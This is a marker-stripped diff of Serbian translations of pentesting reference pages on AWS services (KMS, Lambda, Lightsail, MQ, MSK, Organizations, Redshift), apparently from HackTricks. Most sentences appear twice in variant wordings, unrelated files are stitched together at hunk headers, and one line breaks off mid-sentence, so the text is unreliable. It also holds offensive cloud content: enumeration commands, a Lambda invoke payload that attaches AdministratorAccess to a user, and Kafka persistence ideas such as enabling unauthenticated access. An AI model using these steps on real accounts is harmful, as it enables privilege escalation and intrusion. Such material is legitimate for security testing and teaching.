AWS Usluga upravljanja ključevima (AWS KMS) se predstavlja kao upravljana usluga, pojednostavljujući proces za korisnike da **kreiraju i upravljaju glavnim korisničkim ključevima** (CMK). Ovi CMK-ovi su ključni u enkripciji korisničkih podataka. Značajna karakteristika AWS KMS-a je da su CMK-ovi pretežno **zaštićeni hardverskim bezbednosnim modulima** (HSM), što poboljšava zaštitu enkripcijskih ključeva.
KMS koristi **simetričnu kriptografiju**. Ovo se koristi za **enkripciju informacija u mirovanju** (na primer, unutar S3). Ako treba da **enkriptuješ informacije u prenosu**, moraš koristiti nešto poput **TLS**.
KMS koristi **simetričnu kriptografiju**. Ovo se koristi za **enkripciju informacija u mirovanju** (na primer, unutar S3). Ako treba da **enkriptujete informacije u prenosu**, morate koristiti nešto poput **TLS**.
KMS je **usluga specifična za region**.
**Administratori u Amazonu nemaju pristup tvojim ključevima**. Ne mogu da povrate tvoje ključeve i ne pomažu ti u enkripciji tvojih ključeva. AWS jednostavno upravlja operativnim sistemom i osnovnom aplikacijom, a na nama je da upravljamo našim enkripcijskim ključevima i upravljamo kako se ti ključevi koriste.
**Administratori u Amazonu nemaju pristup vašim ključevima**. Ne mogu da povrate vaše ključeve i ne pomažu vam u enkripciji vaših ključeva. AWS jednostavno upravlja operativnim sistemom i osnovnom aplikacijom, a na nama je da upravljamo našim enkripcijskim ključevima i upravljamo kako se ti ključevi koriste.
**Glavni ključevi kupca** (CMK): Mogu enkriptovati podatke do 4KB veličine. Obično se koriste za kreiranje, enkripciju i dekripciju DEK-ova (Ključevi za enkripciju podataka). Zatim se DEK-ovi koriste za enkripciju podataka.
**Glavni korisnički ključevi** (CMK): Mogu enkriptovati podatke do 4KB veličine. Obično se koriste za kreiranje, enkripciju i dekripciju DEK-ova (Ključevi za enkripciju podataka). Zatim se DEK-ovi koriste za enkripciju podataka.
Glavni ključ kupca (CMK) je logička reprezentacija glavnog ključa u AWS KMS-u. Pored identifikatora glavnog ključa i drugih metapodataka, uključujući datum kreiranja, opis i stanje ključa, **CMK sadrži materijal ključa koji se koristi za enkripciju i dekripciju podataka**. Kada kreiraš CMK, po defaultu, AWS KMS generiše materijal ključa za taj CMK. Međutim, možeš izabrati da kreiraš CMK bez materijala ključa i zatim uvezeš svoj materijal ključa u taj CMK.
Glavni korisnički ključ (CMK) je logička reprezentacija glavnog ključa u AWS KMS-u. Pored identifikatora glavnog ključa i drugih metapodataka, uključujući datum kreiranja, opis i stanje ključa, **CMK sadrži materijal ključa koji se koristi za enkripciju i dekripciju podataka**. Kada kreirate CMK, po defaultu, AWS KMS generiše materijal ključa za taj CMK. Međutim, možete odabrati da kreirate CMK bez materijala ključa i zatim uvezete svoj materijal ključa u taj CMK.
Postoje 2 tipa glavnih ključeva:
- **AWS upravljani CMK-ovi: Koriste ih druge usluge za enkripciju podataka**. Koristi ih usluga koja ih je kreirala u regionu. Kreiraju se prvi put kada implementiraš enkripciju u toj usluzi. Rotira se svake 3 godine i nije moguće promeniti ga.
- **CMK-ovi koje upravlja kupac**: Fleksibilnost, rotacija, konfigurisani pristup i politika ključeva. Omogućavanje i onemogućavanje ključeva.
- **AWS upravljani CMK-ovi: Koriste ih druge usluge za enkripciju podataka**. Koristi ih usluga koja ih je kreirala u regionu. Kreiraju se prvi put kada implementirate enkripciju u toj usluzi. Rotiraju se svake 3 godine i nije moguće promeniti ih.
- **CMK-ovi koje upravlja korisnik**: Fleksibilnost, rotacija, konfigurisani pristup i politika ključeva. Omogućavanje i onemogućavanje ključeva.
**Enkripcija u omotu** u kontekstu Usluge upravljanja ključevima (KMS): Dvostepeni hijerarhijski sistem za **enkripciju podataka sa ključem podataka i zatim enkripciju ključa podataka sa glavnim ključem**.
@@ -31,13 +31,13 @@ Po **defaultu:**
- Daje **IAM-u** **AWS naloga koji poseduje KMS ključ pristup** za upravljanje pristupom KMS ključu putem IAM-a.
Za razliku od drugih politika resursa AWS-a, politika **KMS ključa ne daje automatski dozvolu nijednom od principala naloga**. Da bi se dala dozvola administratorima naloga, **politika ključa mora uključivati eksplicitnu izjavu** koja pruža ovu dozvolu, poput ove.
Za razliku od drugih politika resursa AWS-a, politika **KMS ključa ne daje automatski dozvolu bilo kojem od principala naloga**. Da biste dali dozvolu administratorima naloga, **politika ključa mora uključivati eksplicitnu izjavu** koja pruža ovu dozvolu, poput ove.
- Bez omogućavanja naloga(`"AWS": "arn:aws:iam::111122223333:root"`) IAM dozvole neće raditi.
- **Omogućava nalogu da koristi IAM politike** za omogućavanje pristupa KMS ključu, pored politike ključa.
**Bez ove dozvole, IAM politike koje omogućavaju pristup ključu su neefikasne**, iako su IAM politike koje negiraju pristup ključu i dalje efikasne.
**Bez ove dozvole, IAM politike koje omogućavaju pristup ključu su neefikasne**, iako su IAM politike koje odbijaju pristup ključu i dalje efikasne.
- **Smanjuje rizik da ključ postane neuredan** dajući dozvolu za kontrolu pristupa administratorima naloga, uključujući korisnika root naloga, koji ne može biti obrisan.
@@ -65,13 +65,13 @@ Osobine politike:
- Dokument zasnovan na JSON-u
- Resurs --> Pogođeni resursi (može biti "\*")
- Akcija --> kms:Encrypt, kms:Decrypt, kms:CreateGrant ... (dozvole)
- Efekat --> Dozvoli/Onemogući
- Efekat --> Dozvoli/Odbij
- Principal --> arn pogođen
- Uslovi (opciono) --> Uslov za davanje dozvola
Grantovi:
- Dozvoljava delegiranje vaših dozvola drugom AWS principalu unutar vašeg AWS naloga. Morate ih kreirati koristeći AWS KMS API-je. Može se navesti identifikator CMK, principal koji dobija grant i potrebni nivo operacije (Decrypt, Encrypt, GenerateDataKey...)
- Dozvoljava delegiranje vaših dozvola drugom AWS principalu unutar vašeg AWS naloga. Morate ih kreirati koristeći AWS KMS API-je. Može se naznačiti identifikator CMK, principal koji dobija grant i potrebni nivo operacije (Decrypt, Encrypt, GenerateDataKey...)
- Nakon što je grant kreiran, izdaju se GrantToken i GrantID
**Pristup**:
@@ -92,8 +92,8 @@ Administrator ključeva po defaultu:
### Rotacija CMK-ova
- Što duže isti ključ ostane na mestu, to više podataka se enkriptuje tim ključem, i ako taj ključ bude kompromitovan, šira oblast podataka je u riziku. Pored toga, što duže ključ bude aktivan, verovatnoća da će biti kompromitovan raste.
- **KMS rotira korisničke ključeve svake 365 dana** (ili možete izvršiti proces ručno kad god želite) i **ključevi koje upravlja AWS svake 3 godine** i ovaj put se ne može promeniti.
- Što duže ostane isti ključ, to više podataka se enkriptuje tim ključem, a ako taj ključ bude kompromitovan, šira oblast podataka je u riziku. Pored toga, što duže ključ bude aktivan, verovatnoća da će biti kompromitovan raste.
- **KMS rotira korisničke ključeve svake 365 dana** (ili možete izvršiti proces ručno kad god želite) i **ključeve koje upravlja AWS svake 3 godine** i ovaj put se ne može promeniti.
- **Stariji ključevi se čuvaju** za dekripciju podataka koji su enkriptovani pre rotacije
- U slučaju kompromitacije, rotacija ključa neće ukloniti pretnju jer će biti moguće dekriptovati sve podatke enkriptovane kompromitovanim ključem. Međutim, **novi podaci će biti enkriptovani novim ključem**.
- Ako je **CMK** u stanju **onemogućen** ili **na čekanju** **brisanja**, KMS **neće izvršiti rotaciju ključa** dok se CMK ponovo ne omogući ili brisanje ne otkaže.
@@ -101,7 +101,7 @@ Administrator ključeva po defaultu:
#### Ručna rotacija
- **Novi CMK treba da bude kreiran**, zatim se kreira novi CMK-ID, tako da ćete morati da **ažurirate** svaku **aplikaciju** da **referencira** novi CMK-ID.
- Da biste ovaj proces olakšali, možete **koristiti alias za referenciranje ID ključa** i zatim samo ažurirati ključ na koji alias se odnosi.
- Da biste ovaj proces olakšali, možete **koristiti alias da se pozovete na key-id** i zatim samo ažurirati ključ na koji se alias odnosi.
- Morate **čuvati stare ključeve za dekripciju starih fajlova** enkriptovanih tim ključem.
Možete uvesti ključeve iz vaše lokalne infrastrukture ključeva.
@@ -116,7 +116,7 @@ Sa KMS politikom možete učiniti sledeće:
- Ograničiti ko može kreirati ključeve podataka i koje usluge imaju pristup korišćenju ovih ključeva
- Ograničiti pristup sistemima samo za enkripciju, samo za dekripciju ili oboje
- Definisati da omogućite sistemima pristup ključevima širom regiona (iako se ne preporučuje jer će kvar u regionu koji hostuje KMS uticati na dostupnost sistema u drugim regionima).
- Definisati da omogućite sistemima pristup ključevima širom regiona (iako se ne preporučuje jer bi neuspeh u regionu koji hostuje KMS uticao na dostupnost sistema u drugim regionima).
Ne možete sinhronizovati ili premestiti/kopirati ključeve između regiona; možete samo definisati pravila za omogućavanje pristupa između regiona.
@@ -4,9 +4,58 @@
## Lambda
Amazon Web Services (AWS) Lambda se opisuje kao **računarska usluga** koja omogućava izvršavanje koda bez potrebe za obezbeđivanjem ili upravljanjem serverima. Karakteriše se sposobnošću da **automatski upravlja alokacijom resursa** potrebnih za izvršavanje koda, obezbeđujući funkcije kao što su visoka dostupnost, skalabilnost i sigurnost. Značajan aspekt Lambda je njen model cena, gde se **naplaćuje isključivo na osnovu vremena obrade** koje se koristi, eliminišući potrebu za inicijalnim ulaganjima ili dugoročnim obavezama.
Amazon Web Services (AWS) Lambda se opisuje kao **računarska usluga** koja omogućava izvršavanje koda bez potrebe za obezbeđivanjem ili upravljanjem serverima. Karakteriše se sposobnošću da **automatski upravlja alokacijom resursa** potrebnih za izvršavanje koda, obezbeđujući funkcije kao što su visoka dostupnost, skalabilnost i sigurnost. Značajan aspekt Lamde je njen model cena, gde se **naplaćuje isključivo na osnovu vremena korišćenja računarskih resursa**, eliminišući potrebu za inicijalnim ulaganjima ili dugoročnim obavezama.
Da biste pozvali lambda, moguće je pozvati je **onoliko često koliko želite** (sa Cloudwatch), **izložiti
Da biste pozvali lambda, moguće je pozvati je **onoliko često koliko želite** (sa Cloudwatch), **izložiti** **URL** endpoint i pozvati je, pozvati je putem **API Gateway** ili čak na osnovu **događaja** kao što su **promene** u podacima u **S3** bucketu ili ažuriranja u **DynamoDB** tabeli.
**Kod** lambda je smešten u **`/var/task`**.
### Lambda Aliases Weights
Lambda može imati **several versions**.\
I može imati **više od 1** verzije izložene putem **aliases**. **Težine** **svake** od **verzija** izloženih unutar aliasa će odlučiti **koji alias prima poziv** (može biti 90%-10% na primer).\
Ako je kod **jednog** od aliasa **ranjiv**, možete slati **zahteve dok ranjiva** verzija ne primi eksploataciju.
![](<../../../images/image (223).png>)
### Resource Policies
Lambda politike resursa omogućavaju da **daju pristup drugim uslugama/računima da pozivaju** lambda na primer.\
Na primer, ovo je politika koja omogućava **bilo kome da pristupi lambda izloženoj putem URL-a**:
<figure><img src="https://lh4.googleusercontent.com/4PNFKBdzr3nMrPqeKkTslgwWDKxkXMdQ1SNdv7NPHykj3GX8wODrQyXOFbjk4fxHfZ8pDm5ijWgk2Vq2EGXiPRT3TQfZf1fHycvdEKBuDxJDYos1CJeMHXSeg86ZB-Ol7CNtten6xkVFQj6AhDUEWNQJrQ=s2048" alt=""><figcaption></figcaption></figure>
Ili ovo da dozvoli API Gateway da je pozove:
<figure><img src="https://lh3.googleusercontent.com/Su0JlR0wBqb-99Z4N_2-_kMlX0Xzx2n_GpZuOPW5IeXR3FYbm8OHFDM3Ora1BpXiSjHpDVUlq4yEyXwaI3nBuze6DJ-wRf2ATsCuWbq0wuBCd34E9uIpqwheE6Cc_PopviI_93O_j2ZKXc1-AJtsBoLVUw=s2048" alt=""><figcaption></figcaption></figure>
### Lambda Database Proxies
Kada postoji **stotine** **paralelnih lambda zahteva**, ako svaki od njih treba da **uspostavi i zatvori vezu sa bazom podataka**, jednostavno neće funkcionisati (lambdas su bezdržavne, ne mogu održavati otvorene veze).\
Tada, ako vaše **Lambda funkcije komuniciraju sa RDS Proxy umesto** vaše instance baze podataka. Ona upravlja povezivanjem potrebnim za skaliranje mnogih simultanih veza koje kreiraju paralelne Lambda funkcije. Ovo omogućava vašim Lambda aplikacijama da **ponovo koriste postojeće veze**, umesto da kreiraju nove veze za svaku invokaciju funkcije.
### Lambda EFS Filesystems
Da bi sačuvali i čak delili podatke, **Lambdas mogu pristupiti EFS i montirati ih**, tako da Lambda može čitati i pisati iz njih.
### Lambda Layers
Lambda _layer_ je .zip arhiva koja **može sadržati dodatni kod** ili drugi sadržaj. Layer može sadržati biblioteke, [prilagođeno okruženje](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html), podatke ili konfiguracione datoteke.
Moguće je uključiti do **pet slojeva po funkciji**. Kada uključite layer u funkciju, **sadržaj se ekstrahuje u `/opt`** direktorijum u okruženju izvršenja.
Po **defaultu**, **slojevi** koje kreirate su **privatni** za vaš AWS račun. Možete odlučiti da **podelite** layer sa drugim računima ili da **napravite** layer **javnim**. Ako vaše funkcije koriste layer koji je objavio drugi račun, vaše funkcije mogu **nastaviti da koriste verziju sloja nakon što je obrisana, ili nakon što je vaša dozvola za pristup sloju opozvana**. Međutim, ne možete kreirati novu funkciju ili ažurirati funkcije koristeći obrisanu verziju sloja.
Funkcije koje su implementirane kao slika kontejnera ne koriste slojeve. Umesto toga, pakujete svoje omiljeno okruženje, biblioteke i druge zavisnosti u sliku kontejnera kada gradite sliku.
### Lambda Extensions
Lambda ekstenzije poboljšavaju funkcije integracijom sa raznim **alatima za praćenje, posmatranje, sigurnost i upravljanje**. Ove ekstenzije, dodate putem [.zip arhiva koristeći Lambda slojeve](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) ili uključene u [implementacije slika kontejnera](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/), rade u dva režima: **interni** i **eksterni**.
- **Interni ekstenzije** se spajaju sa procesom izvršenja, manipulišući njegovim pokretanjem koristeći **specifične varijable okruženja za jezik** i **wrapper skripte**. Ova prilagodba se primenjuje na niz okruženja, uključujući **Java Correto 8 i 11, Node.js 10 i 12, i .NET Core 3.1**.
- **Eksterni ekstenzije** rade kao odvojeni procesi, održavajući usklađenost sa životnim ciklusom Lambda funkcije. Kompatibilni su sa raznim okruženjima kao što su **Node.js 10 i 12, Python 3.7 i 3.8, Ruby 2.5 i 2.7, Java Corretto 8 i 11, .NET Core 3.1**, i **prilagođena okruženja**.
### Enumeration
```bash
aws lambda get-account-settings
@@ -54,7 +103,7 @@ aws lambda invoke --function-name FUNCTION_NAME /tmp/out
## user_name = event['user_name']
aws lambda invoke --function-name <name> --cli-binary-format raw-in-base64-out --payload '{"policy_names": ["AdministratorAccess], "user_name": "sdf"}' out.txt
```
#### Putem izloženog URL-a
#### Putem izložene URL adrese
```bash
aws lambda list-function-url-configs --function-name <function_name> #Get lambda URL
aws lambda get-function-url-config --function-name <function_name> #Get lambda URL
@@ -67,7 +116,7 @@ aws --region us-west-2 --profile level6 lambda list-functions
```
![](<../../../images/image (262).png>)
Lambda funkcija pod nazivom "Level6" je dostupna. Hajde da saznamo kako da je pozovemo:
Lambda funkcija pod nazivom "Level6" je dostupna. Hajde da saznamo kako je pozvati:
```bash
aws --region us-west-2 --profile level6 lambda get-policy --function-name Level6
```
@@ -28,13 +28,13 @@ aws lightsail get-load-balancers
aws lightsail get-static-ips
aws lightsail get-key-pairs
```
### Анализа Снепшотов
### Analiza Snimaka
Могуће је генерисати **инстанце и релационе базе података снепшотове из lightsail**. Стога можете проверити те на исти начин на који можете проверити [**EC2 снепшотове**](aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/#ebs) и [**RDS снепшотове**](aws-relational-database-rds-enum.md#enumeration).
Moguće je generisati **snimke instance i relacione baze podataka iz lightsail**. Stoga možete proveriti te snimke na isti način na koji možete proveriti [**EC2 snimke**](aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/#ebs) i [**RDS snimke**](aws-relational-database-rds-enum.md#enumeration).
### Мета подаци
### Metapodaci
**Мета подаци ендпоинт је доступан из lightsail**, али машине раде у **AWS налогу који управља AWS** тако да не контролишете **које дозволе су додељене**. Међутим, ако пронађете начин да искористите те, директно бисте искористили AWS.
**Metapodaci su dostupni iz lightsail**, ali mašine rade u **AWS nalogu koji upravlja AWS** tako da ne kontrolišete **koje dozvole su dodeljene**. Međutim, ako pronađete način da iskoristite to, direktno biste iskoristili AWS.
### Privesc
@@ -42,13 +42,13 @@ aws lightsail get-key-pairs
../aws-privilege-escalation/aws-lightsail-privesc.md
{{#endref}}
### Post Exploitation
### Post Eksploatacija
{{#ref}}
../aws-post-exploitation/aws-lightsail-post-exploitation.md
{{#endref}}
### Persistence
### Persistencija
{{#ref}}
../aws-persistence/aws-lightsail-persistence.md
@@ -6,17 +6,17 @@
### Uvod u posrednike poruka
**Posrednici poruka** služe kao posrednici, olakšavajući komunikaciju između različitih softverskih sistema, koji mogu biti izgrađeni na različitim platformama i programirani na različitim jezicima. **Amazon MQ** pojednostavljuje implementaciju, rad i održavanje posrednika poruka na AWS-u. Pruža upravljane usluge za **Apache ActiveMQ** i **RabbitMQ**, osiguravajući besprekornu nabavku i automatske nadogradnje verzija softvera.
**Posrednici poruka** služe kao posrednici, olakšavajući komunikaciju između različitih softverskih sistema, koji mogu biti izgrađeni na različitim platformama i programirani na različitim jezicima. **Amazon MQ** pojednostavljuje implementaciju, rad i održavanje posrednika poruka na AWS-u. Pruža upravljane usluge za **Apache ActiveMQ** i **RabbitMQ**, osiguravajući besprekornu opskrbu i automatske nadogradnje verzija softvera.
### AWS - RabbitMQ
RabbitMQ je istaknuti **softver za redove poruka**, poznat i kao _posrednik poruka_ ili _menadžer redova_. U suštini, to je sistem u kojem su redovi konfigurisani. Aplikacije komuniciraju sa ovim redovima da bi **slale i primale poruke**. Poruke u ovom kontekstu mogu nositi razne informacije, od komandi za pokretanje procesa na drugim aplikacijama (potencijalno na različitim serverima) do jednostavnih tekstualnih poruka. Poruke drži softver menadžera redova dok ih ne preuzme i obradi aplikacija koja prima. AWS pruža jednostavno rešenje za hostovanje i upravljanje RabbitMQ serverima.
RabbitMQ je istaknuti **softver za redove poruka**, poznat i kao _posrednik poruka_ ili _menadžer redova_. To je u suštini sistem gde su redovi konfigurisani. Aplikacije komuniciraju sa ovim redovima da bi **slale i primale poruke**. Poruke u ovom kontekstu mogu nositi razne informacije, od komandi za pokretanje procesa na drugim aplikacijama (potencijalno na različitim serverima) do jednostavnih tekstualnih poruka. Poruke se čuvaju od strane softvera menadžera redova dok ih ne preuzme i obradi aplikacija koja prima. AWS pruža jednostavno rešenje za hostovanje i upravljanje RabbitMQ serverima.
### AWS - ActiveMQ
Apache ActiveMQ® je vodeći open-source, Java-bazirani **posrednik poruka** poznat po svojoj svestranosti. Podržava više industrijskih standardnih protokola, nudeći široku kompatibilnost klijenata kroz razne jezike i platforme. Korisnici mogu:
- Povezati se sa klijentima napisanim u JavaScript-u, C-u, C++, Python-u, .Net-u i drugim.
- Povezati se sa klijentima napisanim u JavaScript-u, C, C++, Python-u, .Net-u i drugim.
- Iskoristiti **AMQP** protokol za integraciju aplikacija sa različitih platformi.
- Koristiti **STOMP** preko websockets za razmenu poruka u web aplikacijama.
- Upravljati IoT uređajima sa **MQTT**.
@@ -56,7 +56,7 @@ aws mq create-user --broker-id <value> --password <value> --username <value> --c
../aws-privilege-escalation/aws-mq-privesc.md
{{#endref}}
## Neautentifikovani Pristup
## Neautentifikovani pristup
{{#ref}}
../aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md
@@ -4,7 +4,7 @@
## Amazon MSK
**Amazon Managed Streaming for Apache Kafka (Amazon MSK)** je usluga koja je potpuno upravljana, olakšavajući razvoj i izvršenje aplikacija koje obrađuju striming podatke putem **Apache Kafka**. Operacije kontrolne ravni, uključujući kreiranje, ažuriranje i brisanje **klastera**, nudi Amazon MSK. Usluga omogućava korišćenje Apache Kafka **operacija podataka**, obuhvatajući proizvodnju i potrošnju podataka. Radi na **open-source verzijama Apache Kafka**, osiguravajući kompatibilnost sa postojećim aplikacijama, alatima i dodacima kako partnera tako i **Apache Kafka zajednice**, eliminišući potrebu za izmenama u kodu aplikacije.
**Amazon Managed Streaming for Apache Kafka (Amazon MSK)** je usluga koja je potpuno upravljana, olakšavajući razvoj i izvršenje aplikacija koje obrađuju strimovane podatke putem **Apache Kafka**. Operacije kontrolne ravni, uključujući kreiranje, ažuriranje i brisanje **klastera**, nudi Amazon MSK. Usluga omogućava korišćenje Apache Kafka **operacija podataka**, obuhvatajući proizvodnju i potrošnju podataka. Radi na **open-source verzijama Apache Kafka**, osiguravajući kompatibilnost sa postojećim aplikacijama, alatima i dodacima kako partnera tako i **Apache Kafka zajednice**, eliminišući potrebu za izmenama u kodu aplikacije.
U pogledu pouzdanosti, Amazon MSK je dizajniran da **automatski detektuje i oporavi se od uobičajenih scenarija kvara klastera**, osiguravajući da aplikacije proizvođača i potrošača nastave sa svojim aktivnostima pisanja i čitanja podataka uz minimalne prekide. Pored toga, ima za cilj da optimizuje procese replikacije podataka pokušavajući da **ponovno iskoristi skladište zamenjenih brokera**, čime se smanjuje količina podataka koja treba da se replikira putem Apache Kafka.
@@ -42,7 +42,7 @@ aws kafka describe-configuration-revision --arn <config-arn> --revision <version
# If using SCRAN authentication, get used AWS secret name (not secret value)
aws kafka list-scram-secrets --cluster-arn <cluster-arn>
```
### Kafka IAM Pristup (u serverless)
### Kafka IAM pristup (u serverless)
```bash
# Guide from https://docs.aws.amazon.com/msk/latest/developerguide/create-serverless-cluster.html
# Download Kafka
@@ -78,17 +78,17 @@ kafka_2.12-2.8.1/bin/kafka-console-consumer.sh --bootstrap-server $BS --consumer
../aws-privilege-escalation/aws-msk-privesc.md
{{#endref}}
### Unauthenticated Access
### Neautentifikovani pristup
{{#ref}}
../aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md
{{#endref}}
### Persistence
### Persistencija
Ako ćete **imati pristup VPC-u** gde se nalazi Provisioned Kafka, mogli biste **omogućiti neovlašćen pristup**, ako **SASL/SCRAM autentifikacija**, **pročitate** lozinku iz tajne, dodelite neke **druge kontrolisane korisničke IAM dozvole** (ako se koristi IAM ili serverless) ili persistirate sa **sertifikatima**.
Ako ćete **imati pristup VPC-u** gde se nalazi Provisioned Kafka, mogli biste **omogućiti neautorizovani pristup**, ako **SASL/SCRAM autentifikacija**, **pročitate** lozinku iz tajne, dodelite **nekom drugom kontrolisanom korisniku IAM dozvole** (ako se koristi IAM ili serverless) ili persistirate sa **sertifikatima**.
## References
## Reference
- [https://docs.aws.amazon.com/msk/latest/developerguide/what-is-msk.html](https://docs.aws.amazon.com/msk/latest/developerguide/what-is-msk.html)
@@ -1,4 +1,4 @@
# AWS - Organizations Enum
# AWS - Organizacije Enum
{{#include ../../../banners/hacktricks-training.md}}
@@ -6,7 +6,7 @@
AWS Organizations olakšava kreiranje novih AWS naloga bez dodatnih troškova. Resursi se mogu dodeliti bez napora, nalozi se mogu efikasno grupisati, a politike upravljanja mogu se primeniti na pojedinačne naloge ili grupe, čime se poboljšava upravljanje i kontrola unutar organizacije.
Ključne tačke:
Ključne Tačke:
- **Kreiranje Novog Naloga**: AWS Organizations omogućava kreiranje novih AWS naloga bez dodatnih troškova.
- **Dodeljivanje Resursa**: Pojednostavljuje proces dodeljivanja resursa između naloga.
@@ -38,7 +38,7 @@ aws organizations list-accounts-for-parent --parent-id ou-n8s9-8nzv3a5y
## You need the permission iam:GetAccountSummary
aws iam get-account-summary
```
## Референце
## Reference
- https://aws.amazon.com/organizations/
@@ -1,4 +1,4 @@
# AWS - Ostale Usluge Enum
# AWS - Enum drugih usluga
{{#include ../../../banners/hacktricks-training.md}}
@@ -11,7 +11,7 @@ aws directconnect describe-interconnects
aws directconnect describe-virtual-gateways
aws directconnect describe-virtual-interfaces
```
## Support
## Podrška
U AWS-u možete pristupiti trenutnim i prethodnim slučajevima podrške putem API-ja
```
@@ -4,15 +4,15 @@
## Amazon Redshift
Redshift je potpuno upravljana usluga koja može da se skalira do preko petabajta, koja se koristi kao **data warehouse za big data rešenja**. Koristeći Redshift klastere, možete da izvršavate analitiku nad vašim skupovima podataka koristeći brze, SQL-bazirane alate za upit i aplikacije poslovne inteligencije kako biste stekli bolje razumevanje vizije za vaše poslovanje.
Redshift je potpuno upravljana usluga koja može da se skalira do više od petabajta, koja se koristi kao **data warehouse za big data rešenja**. Koristeći Redshift klastere, možete da izvršavate analitiku nad vašim skupovima podataka koristeći brze, SQL-bazirane alate za upite i aplikacije za poslovnu inteligenciju kako biste stekli bolje razumevanje vizije za vaše poslovanje.
**Redshift nudi enkripciju u mirovanju koristeći hijerarhiju enkripcijskih ključeva sa četiri nivoa koristeći KMS ili CloudHSM za upravljanje najvišim nivoom ključeva**. **Kada je enkripcija omogućena za vaš klaster, ne može se onemogućiti i obrnuto**. Kada imate neenkriptovani klaster, ne može se enkriptovati.
**Redshift nudi enkripciju u mirovanju koristeći hijerarhiju od četiri nivoa enkripcijskih ključeva koristeći KMS ili CloudHSM za upravljanje najvišim nivoom ključeva**. **Kada je enkripcija omogućena za vaš klaster, ne može se onemogućiti i obrnuto**. Kada imate neenkriptovani klaster, ne može se enkriptovati.
Enkripcija za vaš klaster može se dogoditi samo tokom njegove kreacije, a kada je enkriptovan, podaci, metapodaci i sve snimke su takođe enkriptovani. Nivoi enkripcijskih ključeva su sledeći, **prvi nivo je glavni ključ, drugi nivo je ključ enkripcije klastera, CEK, treći nivo, ključ enkripcije baze podataka, DEK, i konačno četvrti nivo, ključevi enkripcije podataka**.
### KMS
Tokom kreacije vašeg klastera, možete ili odabrati **podrazumevani KMS ključ** za Redshift ili odabrati **svoj CMK**, što vam daje veću fleksibilnost u kontroli ključa, posebno iz audibilne perspektive.
Tokom kreacije vašeg klastera, možete ili odabrati **podrazumevani KMS ključ** za Redshift ili odabrati svoj **vlastiti CMK**, što vam daje veću fleksibilnost u kontroli ključa, posebno iz auditable perspektive.
Podrazumevani KMS ključ za Redshift automatski se kreira od strane Redshift-a prvi put kada se opcija ključa odabere i koristi, i potpuno ga upravlja AWS.
@@ -20,7 +20,7 @@ Ovaj KMS ključ se zatim enkriptuje sa CMK glavnim ključem, prvi nivo. Ovaj enk
Redshift zatim traži od KMS-a da dekriptuje CEK, drugi nivo. Ovaj dekriptovani CEK se zatim takođe čuva u memoriji. Redshift zatim kreira nasumični ključ enkripcije baze podataka, DEK, treći nivo, i učitava ga u memoriju klastera. Dekriptovani CEK u memoriji zatim enkriptuje DEK, koji se takođe čuva u memoriji.
Ovaj enkriptovani DEK se zatim šalje preko sigurnog kanala i čuva se u Redshift-u odvojeno od klastera. I CEK i DEK su sada čuvani u memoriji klastera u enkriptovanom i dekriptovanom obliku. Dekriptovani DEK se zatim koristi za enkripciju ključeva podataka, četvrti nivo, koji se nasumično generišu od strane Redshift-a za svaki blok podataka u bazi.
Ovaj enkriptovani DEK se zatim šalje preko sigurnog kanala i čuva se u Redshift-u odvojeno od klastera. I CEK i DEK su sada čuvani u memoriji klastera u enkriptovanom i dekriptovanom obliku. Dekriptovani DEK se zatim koristi za enkripciju ključeva podataka, četvrti nivo, koji se nasumično generišu od strane Redshift-a za svaki blok podataka u bazi podataka.
Možete koristiti AWS Trusted Advisor za praćenje konfiguracije vaših Amazon S3 kanti i osiguranje da je logovanje kanti omogućeno, što može biti korisno za izvođenje bezbednosnih audita i praćenje obrazaca korišćenja u S3.
@@ -32,13 +32,13 @@ Možete koristiti AWS Trusted Advisor za praćenje konfiguracije vaših Amazon S
Kada radite sa CloudHSM za izvođenje vaše enkripcije, prvo morate postaviti poverljivu vezu između vašeg HSM klijenta i Redshift-a koristeći klijentske i serverske sertifikate.
Ova veza je potrebna za obezbeđivanje sigurnih komunikacija, omogućavajući slanje enkripcijskih ključeva između vašeg HSM klijenta i vaših Redshift klastera. Koristeći nasumično generisani privatni i javni ključ, Redshift kreira javni klijentski sertifikat, koji je enkriptovan i čuvan od strane Redshift-a. Ovaj sertifikat mora biti preuzet i registrovan kod vašeg HSM klijenta, i dodeljen ispravnoj HSM particiji.
Ova veza je potrebna za obezbeđivanje sigurnih komunikacija, omogućavajući slanje enkripcijskih ključeva između vašeg HSM klijenta i vaših Redshift klastera. Koristeći nasumično generisani privatni i javni ključ, Redshift kreira javni klijentski sertifikat, koji je enkriptovan i čuvan od strane Redshift-a. Ovaj sertifikat mora biti preuzet i registrovan na vašem HSM klijentu, i dodeljen ispravnoj HSM particiji.
Zatim morate konfigurisati Redshift sa sledećim detaljima vašeg HSM klijenta: IP adresa HSM-a, naziv HSM particije, lozinka HSM particije, i javni HSM serverski sertifikat, koji je enkriptovan od strane CloudHSM koristeći unutrašnji glavni ključ. Kada su ovi podaci dostavljeni, Redshift će potvrditi i verifikovati da može da se poveže i pristupi razvoju particije.
Zatim morate konfigurisati Redshift sa sledećim detaljima vašeg HSM klijenta: HSM IP adresa, ime HSM particije, lozinka HSM particije, i javni HSM serverski sertifikat, koji je enkriptovan od strane CloudHSM koristeći unutrašnji glavni ključ. Kada su ovi podaci dostavljeni, Redshift će potvrditi i verifikovati da može da se poveže i pristupi razvoju particije.
Ako vaša interna pravila bezbednosti ili upravljačke kontrole nalažu da morate primeniti rotaciju ključeva, onda je to moguće sa Redshift-om koji vam omogućava da rotirate enkripcijske ključeve za enkriptovane klastere, međutim, morate biti svesni da će tokom procesa rotacije klaster biti nedostupan na vrlo kratak period, pa je najbolje rotirati ključeve samo kada je to potrebno, ili ako smatrate da su možda kompromitovani.
Tokom rotacije, Redshift će rotirati CEK za vaš klaster i za sve rezervne kopije tog klastera. Rotiraće DEK za klaster, ali nije moguće rotirati DEK za snimke pohranjene u S3 koje su enkriptovane koristeći DEK. Staviće klaster u stanje 'rotacije ključeva' dok se proces ne završi kada će status ponovo biti 'dostupan'.
